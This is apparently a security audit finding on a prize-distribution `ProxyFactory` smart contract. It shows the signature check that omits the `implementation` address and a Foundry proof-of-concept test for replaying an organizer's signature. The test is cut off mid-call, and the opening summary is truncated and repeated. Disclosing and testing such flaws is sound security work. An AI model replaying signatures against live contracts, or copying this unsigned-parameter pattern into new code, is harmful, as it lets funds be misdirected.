MEDIUM severity: The vulnerability arises from the fact that the `deployProxyAndDistributeBySignature` function in th. The vulnerability arises from the fact that the `deployProxyAndDistributeBySignature` function in the `ProxyFactory` contract does not consider the `implementation` parameter when verifying the signature. This allows an attacker to distribute prizes to a different `implementation` using the same sig...

Vulnerable code:
```\nfunction setContest(\n    address organizer,\n    bytes32 contestId,\n    uint256 closeTime,\n    address implementation\n) public onlyOwner {\n    bytes32 salt = _calculateSalt(organizer, contestId, implementation);\n    if (saltToCloseTime[salt]!= 0) {\n        revert ProxyFactory__ContestIsAlreadyRegistered();\n    }\n    saltToCloseTime[salt] = closeTime;\n}\n```\n```\nfunction deployProxyAndDistributeBySignature(\n    address organizer,\n    bytes32 contestId,\n    address implementation,\n    bytes calldata signature,\n    bytes calldata data\n) public returns (address) {\n    bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));\n    if (ECDSA.recover(digest, signature)!= organizer) {\n        revert ProxyFactory__InvalidSignature();\n    }\n    bytes32 salt = _calculateSalt(organizer, contestId, implementation);\n    if (saltToCloseTime[salt] == 0) {\n        revert ProxyFactory__ContestIsNotRegistered();\n    }\n    if (saltToCloseTime[salt] > block.timestamp) {\n        revert ProxyFactory__ContestIsNotClosed();\n    }\n    address proxy = _deployProxy(organizer, contestId, implementation);\n    _distribute(proxy, data);\n    return proxy;\n}\n```\n```\nfunction testSignatureCanBeUsedToNewImplementation() public {\n    address organizer = TEST_SIGNER;\n    bytes32 contestId = keccak256(abi.encode("Jason", "001"));\n\n    vm.startPrank(factoryAdmin);\n    proxyFactory.setContest(organizer, contestId, block.timestamp + 8 days, address(distributor));\n    vm.stopPrank();\n\n    bytes32 salt = keccak256(abi.encode(organizer, contestId, address(distributor)));\n    address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));\n    vm.startPrank(sponsor);\n    MockERC20(jpycv2Address).transfer(proxyAddress, 10000 ether);\n    vm.stopPrank();\n    assertEq(MockERC20(jpycv2Address).balanceOf(proxyAddress), 10000 ether);\n\n    assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);\n    assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);\n\n    (bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);\n    assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);\n    vm.warp(8.01 days);\n\n    proxyFactory.deployProxyAndDistributeBySignature(\n        TEST_SIGNER, contestId, address(distributor), signature, sendingData\n    );\n    assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether);\n    assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);\n\n    // For some reason there is a new distributor implementation.\n    // The Owner set the new distributor for the same contestId\n    Distributor new_distributor = new Distributor(address(proxyFactory), stadiumAddress);\n    vm.startPrank(factoryAdmin);\n    proxyFactory.setContest(organizer, contestId, block.timestamp + 8 days, address(new_distributor));\n    vm.stopPrank();\n\n    bytes32 newDistributorSalt = keccak256(abi.encode(organizer, contestId, address(new_distributor)));\n    address proxyNewDistributorAddress = proxyFactory.getProxyAddress(newDistributorSalt, address(new_distributor));\n    vm.startPrank(sponsor);\n    MockERC20(jpycv2Address).transfer(proxyNewDistributorAddress, 10000 ether);\n    vm.stopPrank();\n\n    vm.warp(\n```